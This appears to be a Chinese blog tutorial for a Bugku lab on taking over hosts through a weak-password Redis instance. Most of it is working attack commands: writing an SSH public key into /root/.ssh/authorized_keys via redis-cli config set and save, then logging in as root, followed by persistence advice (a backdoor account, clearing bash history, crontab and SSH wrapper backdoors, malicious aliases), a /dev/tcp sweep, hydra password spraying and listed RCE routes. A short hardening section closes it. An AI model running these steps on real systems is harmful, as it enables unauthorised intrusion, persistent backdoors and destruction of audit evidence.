Bugku靶场通关秘籍:手把手教你如何利用redis弱口令拿下内网主机

张开发
2026/4/8 12:19:00 15 分钟阅读

分享文章

Bugku靶场通关秘籍:手把手教你如何利用redis弱口令拿下内网主机
Redis弱口令渗透实战从公钥注入到内网突破在渗透测试的实战环境中Redis未授权访问和弱口令问题堪称低垂的果实。去年某次企业授权测试中我们团队就曾通过一个暴露在公网的Redis实例成功拿下了整个内网集群的控制权。这种攻击路径之所以高效正是因为太多管理员忽视了Redis这类内存数据库的安全配置。1. 环境侦察与目标定位渗透测试的第一步永远是信息收集。当我们在内网扫描中发现开放6379端口的主机时首先需要确认Redis服务的状态。使用Nmap进行基础探测nmap -p 6379 --script redis-info 192.168.0.202如果返回类似以下信息说明存在未授权访问风险6379/tcp open redis | redis-info: | Version: 5.0.7 | Operating System: Linux 4.15.0-112-generic x86_64 | Architecture: 64 bits | Process ID: 891 | Used CPU (sys): 4.55 | Used CPU (user): 1.82 |_ Connected clients: 1关键检查点Redis版本是否低于6.0早期版本默认无认证配置文件中是否设置requirepass参数网络ACL是否限制访问源我曾遇到一个典型案例某电商平台的Redis实例虽然设置了密码但使用的竟是redis123这种常见弱口令。通过简单的字典攻击就能突破防线。2. Redis公钥注入技术详解当确认目标存在未授权访问或弱口令漏洞后公钥注入是最优雅的利用方式之一。这个技术的核心在于利用Redis的持久化功能将SSH公钥写入目标主机的authorized_keys文件。2.1 密钥对生成与格式化首先在攻击机生成RSA密钥对如果已有可跳过ssh-keygen -t rsa -b 4096 -C pentestexample.com -f ~/.ssh/redis_pentest关键技巧在于公钥的特殊格式化。Redis在保存数据时会添加特定字符我们需要通过以下命令确保公钥能被正确解析(echo -e \n\n; cat ~/.ssh/redis_pentest.pub; echo -e \n\n) redis_key.txt2.2 Redis交互操作流程通过redis-cli连接目标服务若需认证使用-a参数cat redis_key.txt | redis-cli -h 192.168.0.202 -p 6379 -a weakpassword -x set crack_key接着执行关键配置命令config set dir /root/.ssh/ config set dbfilename authorized_keys save常见踩坑点目标.ssh目录不存在需先创建Redis运行用户无写权限需提权或选择其他目录SELinux策略限制临时关闭或调整策略3. SSH连接与权限巩固成功注入公钥后即可用私钥连接目标主机chmod 600 ~/.ssh/redis_pentest ssh -i ~/.ssh/redis_pentest root192.168.0.202 -p 22000连接后应立即执行以下加固措施检查现有会话who /var/log/wtmp添加后门账户useradd -m -s /bin/bash backupadmin清理操作日志echo ~/.bash_history权限维持技巧在/etc/crontab添加定时任务安装SSH wrapper后门修改常用命令的alias注入恶意代码4. 内网横向移动策略获得首个立足点后内网渗透才是真正的开始。基于Redis主机的特殊位置我们可以采用以下策略4.1 网络拓扑探测# 查看ARP缓存 arp -a # 检查路由表 route -n # 快速端口扫描 for i in {1..254}; do timeout 1 bash -c echo /dev/tcp/192.168.0.$i/22 2/dev/null echo 192.168.0.$i:SSH; done4.2 密码喷洒攻击利用在Redis主机发现的密码进行横向尝试hydra -L user.list -P pass.list ssh://192.168.0.0/24 -t 4 -vV4.3 利用信任关系检查SSH config文件可能存在的跳板配置cat /etc/ssh/ssh_config cat ~/.ssh/config5. 防御方案与加固建议作为渗透测试人员我们不仅要掌握攻击技术更要理解如何防御。以下是针对Redis服务的安全建议配置加固清单启用认证requirepass complex_password修改默认端口port 6380绑定指定IPbind 127.0.0.1禁用高危命令rename-command FLUSHALL rename-command CONFIG rename-command EVAL 启用保护模式protected-mode yes网络层防护配置防火墙规则限制访问源启用TLS加密传输Redis 6部署网络IDS规则检测异常Redis操作在一次金融行业渗透测试中我们发现客户虽然配置了Redis密码但通过未加密的流量捕获仍然可以嗅探到认证信息。这提醒我们安全措施必须多层次覆盖。6. 渗透测试中的思维拓展真正的渗透测试从来不是按图索骥。遇到Redis服务时除了公钥注入还可以尝试数据窃取keys *get key获取敏感信息RCE利用通过Lua沙箱逃逸特定版本主从复制恶意模块加载持久化文件污染篡改dump.rdb植入后门SSRF跳板利用Redis协议进行内网探测记得某次CTF比赛中题目设置了特殊的Redis命令过滤。最终我们通过EVAL命令执行Lua脚本绕过了所有防护成功getshell。这种灵活思维正是优秀渗透测试人员的核心素质。

更多文章